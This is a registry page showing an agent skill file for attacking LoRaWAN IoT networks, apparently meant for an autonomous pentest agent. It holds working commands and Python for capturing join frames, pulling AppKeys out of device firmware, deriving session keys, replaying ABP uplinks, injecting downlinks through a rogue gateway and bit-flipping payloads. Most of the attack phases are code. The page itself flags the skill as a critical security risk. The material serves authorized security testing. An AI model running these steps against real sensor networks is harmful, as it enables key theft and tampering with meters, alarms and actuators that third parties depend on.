CtrlK
BlogDocsLog inGet started
Tessl Logo
SkillPublic

lorawan-otaa

LoRaWAN OTAA join-procedure analysis (DevEUI/AppEUI/AppKey extraction), frame-counter replay on ABP devices, downlink injection via rogue gateway, bit-flipping on unprotected FRMPayload, and network enumeration with ChirpStack and the LoRaWAN Auditing Framework.

Quality

77%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide
SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/iot/lorawan-otaa/SKILL.md
SKILL.md
Quality
Evals
Security

LoRaWAN OTAA / ABP Security Assessment

LoRaWAN is deployed globally for smart meters, asset tracking, agriculture, and industrial sensors. OTAA (Over-The-Air Activation) derives session keys per join; ABP (Activation By Personalization) hardcodes them. Both have documented attack surface: OTAA AppKeys are often extracted from the device firmware or exposed via insecure provisioning, and ABP devices commonly disable the frame-counter check, enabling full replay.

Prerequisites

  • Hardware: LILYGO TTGO T-Beam (SX1276 + GPS, programmable SDR-LoRa node), RAK831 / RAK2247 gateway concentrator, or HackRF One with gr-lora. RTL-SDR is receive-only (works for capture on EU 868 MHz).
  • Software: ChirpStack (rogue gateway NS), lorawansniffer / gr-lora, LoRaWAN Auditing Framework (LAF), Scapy-LoRa, lorawan-parser.
# Install LoRaWAN Auditing Framework:
git clone https://github.com/IOActive/laf
cd laf && pip install -r requirements.txt

# Install gr-lora (GNU Radio LoRa decoder):
git clone https://github.com/rpp0/gr-lora
cd gr-lora && mkdir build && cd build && cmake .. && make && sudo make install

# lorawan-parser for offline frame analysis:
pip install lorawan-parser

LoRaWAN Frequency Reference

RegionUplink (MHz)Downlink (MHz)Spreading Factors
EU868868.1, 868.3, 868.5869.525SF7–SF12
US915902.3–914.9 (8 ch)923.3–927.5SF7–SF10
AU915915.2–927.8923.3–927.5SF7–SF12
AS923923.2, 923.4923.2, 923.4SF7–SF12

Phase 1: Passive Air Capture

# RTL-SDR capture on EU868 primary channel, SF7 (fastest, most common):
rtl_sdr -f 868100000 -s 1000000 -g 40 /tmp/lora_raw.iq

# Decode with gr-lora offline:
python3 gr-lora/apps/rx_file.py --freq 868.1e6 --sf 7 --bw 125000 \
    --input /tmp/lora_raw.iq --output /tmp/lora_frames.txt

# Online decode with TTGO T-Beam running LoRa sniffer firmware:
# Flash: https://github.com/claudiodangelis/lora-sniffer
# Serial output at 115200:
screen /dev/ttyUSB0 115200

LAF spectrum scan (scans all EU868 channels across SF7-SF12):

python3 laf/laf.py scan --freq 868.1,868.3,868.5 --sf all --bw 125 \
    --device /dev/ttyACM0 | tee /tmp/laf_scan.txt

Phase 2: OTAA Join Analysis

OTAA JoinRequest contains DevEUI (8 bytes), AppEUI/JoinEUI (8 bytes), and DevNonce (2 bytes), all in plaintext. Only the MIC is keyed with AppKey.

# Parse a captured JoinRequest frame:
python3 - <<'EOF'
from lorawan import LoRaWANMessage
# hex of a raw captured PHY payload:
payload_hex = "00AABBCCDDEEFF001122334455667701234501"
msg = LoRaWANMessage.from_hex(payload_hex)
print(f"MType: {msg.mhdr.mtype}")
print(f"AppEUI: {msg.join_request.app_eui.hex()}")
print(f"DevEUI: {msg.join_request.dev_eui.hex()}")
print(f"DevNonce: {msg.join_request.dev_nonce.hex()}")
EOF

AppKey extraction from firmware (if binary is available):

# binwalk extracts the firmware; AppKey is a 16-byte value near DevEUI in flash.
binwalk -eM firmware.bin
# Search for DevEUI (known from OTA capture) ± 32 bytes:
python3 - <<'EOF'
import re, sys
dev_eui = bytes.fromhex("AABBCCDDEEFF0011")  # from captured JoinRequest
fw = open("_firmware.bin.extracted/0.bin", "rb").read()
offset = fw.find(dev_eui)
if offset >= 0:
    print(f"DevEUI at 0x{offset:08x}")
    print(f"Surrounding 48 bytes: {fw[offset-16:offset+32].hex()}")
    # AppKey is likely 16 bytes before or after DevEUI in the provisioning struct.
EOF

Phase 3: AppKey Brute-Force / Known-Key Verification

With a known AppKey, verify and derive session keys:

import hmac, hashlib
from Crypto.Cipher import AES

APP_KEY = bytes.fromhex("2B7E151628AED2A6ABF7158809CF4F3C")  # known/extracted key

def verify_join_request_mic(phypayload: bytes, app_key: bytes) -> bool:
    """Verify MIC of LoRaWAN JoinRequest. MIC = CMAC(AppKey, MHDR||AppEUI||DevEUI||DevNonce)[0:4]"""
    from Crypto.Hash import CMAC
    msg = phypayload[:-4]  # strip 4-byte MIC
    claimed_mic = phypayload[-4:]
    cobj = CMAC.new(app_key, ciphermod=AES)
    cobj.update(msg)
    return cobj.digest()[:4] == claimed_mic

def derive_session_keys(app_key: bytes, app_nonce: bytes, net_id: bytes, dev_nonce: bytes):
    """Derive NwkSKey and AppSKey from OTAA join-accept parameters."""
    def aes_ecb(key, data):
        return AES.new(key, AES.MODE_ECB).encrypt(data)
    nwk_s_key = aes_ecb(app_key, b'\x01' + app_nonce + net_id + dev_nonce + b'\x00'*7)
    app_s_key = aes_ecb(app_key, b'\x02' + app_nonce + net_id + dev_nonce + b'\x00'*7)
    return nwk_s_key, app_s_key

Phase 4: ABP Replay (Frame-Counter Disabled)

ABP devices that disable frame-counter replay protection (FCnt check = off) will process any replayed uplink frame:

# LAF replay module — replay a captured uplink to the same gateway:
python3 laf/laf.py replay \
    --payload <captured_phypayload_hex> \
    --freq 868.1 --sf 7 --bw 125 \
    --device /dev/ttyACM0 \
    --count 5  # send 5 times to ensure reception

# The NS will process duplicate frames with identical FCnt if check is disabled.

Detect FCnt check status:

  • If the NS accepts two frames with the same FCnt → check is disabled.
  • Send an older FCnt (FCnt-1) — if accepted, ABP FCnt is not enforced.

Phase 5: Downlink Injection via Rogue Gateway

Set up a ChirpStack rogue gateway to inject downlinks to a device whose AppSKey is known (from extracted firmware or OTAA with known AppKey):

# 1. Stand up ChirpStack Network Server (docker-compose):
git clone https://github.com/brocaar/chirpstack-docker
cd chirpstack-docker && docker-compose up -d

# 2. Register a gateway pointing to your TTGO/RAK concentrator.
# 3. Register the target device (DevEUI, AppKey from extraction).
# 4. Use ChirpStack API to enqueue a downlink:
curl -s -X POST "http://localhost:8080/api/devices/${DEV_EUI}/queue" \
  -H "Grpc-Metadata-Authorization: Bearer ${JWT_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"deviceQueueItem": {"confirmed": false, "fPort": 1, "data": "AQIDBA=="}}'

Craft raw downlink with known AppSKey (ABP or derived from OTAA):

from Crypto.Cipher import AES

def encrypt_frmpayload(app_s_key: bytes, dev_addr: bytes, fcnt: int,
                        direction: int, plaintext: bytes) -> bytes:
    """LoRaWAN AES-128-CTR FRMPayload encryption."""
    k = len(plaintext)
    blocks = (k + 15) // 16
    s = b""
    for i in range(1, blocks + 1):
        ai = (b'\x01' + b'\x00'*4 + bytes([direction]) +
              dev_addr[::-1] +                # little-endian
              fcnt.to_bytes(4, 'little') +
              b'\x00' + bytes([i]))
        s += AES.new(app_s_key, AES.MODE_ECB).encrypt(ai)
    return bytes(a ^ b for a, b in zip(plaintext, s[:k]))

Phase 6: Bit-Flip Attack on Unconfirmed Uplinks (ABP, no MIC validation)

When ABP NwkSKey is known, craft MIC for a bit-flipped FRMPayload to alter plaintext content (e.g., sensor reading reported to cloud):

# Flip a specific bit in the ciphertext → predictable plaintext change.
# Only viable if the application layer does not validate message integrity
# beyond LoRaWAN MIC (which the attacker can recalculate with NwkSKey).
# This is documented in Toothpick / LoRaWAN security analysis papers.
ciphertext = bytearray(encrypted_payload)
ciphertext[TARGET_BYTE] ^= FLIP_MASK
# Recalculate MIC with NwkSKey and submit via rogue gateway.

Evidence

EVIDENCE="/workspace/evidence/lorawan-otaa/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
cp /tmp/lora_frames.txt "$EVIDENCE/"
cp /tmp/laf_scan.txt "$EVIDENCE/"
sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"
kg_add_node(
    kind="finding",
    label=f"LoRaWAN AppKey extracted for DevEUI={dev_eui_hex}",
    props={
        "key": f"lorawan-otaa::{dev_eui_hex}",
        "dev_eui": dev_eui_hex,
        "app_eui": app_eui_hex,
        "app_key": app_key_hex,
        "abp_fcnt_disabled": abp_fcnt_disabled,
        "source": "firmware-extraction+laf",
    },
)

OPSEC Notes

  • OTAA capture is passive — no RF emission. RTL-SDR or TTGO sniffer only.
  • Replaying to a live NS will generate real device state changes (actuators, alarms). Gate replay tests on explicit operator authorization.
  • A rogue gateway is detectable by the NS if geo-location of the gateway IP differs from the registered GPS position.
  • LoRaWAN 1.1 adds replay protection and frame-counter synchronization that mitigates ABP replay; verify spec version before testing.
  • Downlink injection affects device behavior (firmware OTA possible on some devices via downlink commands). Treat as destructive.

References

  • LoRaWAN Auditing Framework (LAF): https://github.com/IOActive/laf
  • ChirpStack: https://www.chirpstack.io
  • gr-lora: https://github.com/rpp0/gr-lora
  • Butun et al. "Security of LoRaWAN v1.1" (2019) — frame-counter and replay analysis.
  • Toothpick: LoRaWAN downlink injection PoC (DEF CON 27).
Repository

PurpleAILAB/Decepticon

Path

packages/decepticon/decepticon/skills/standard/iot/lorawan-otaa/SKILL.md

Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.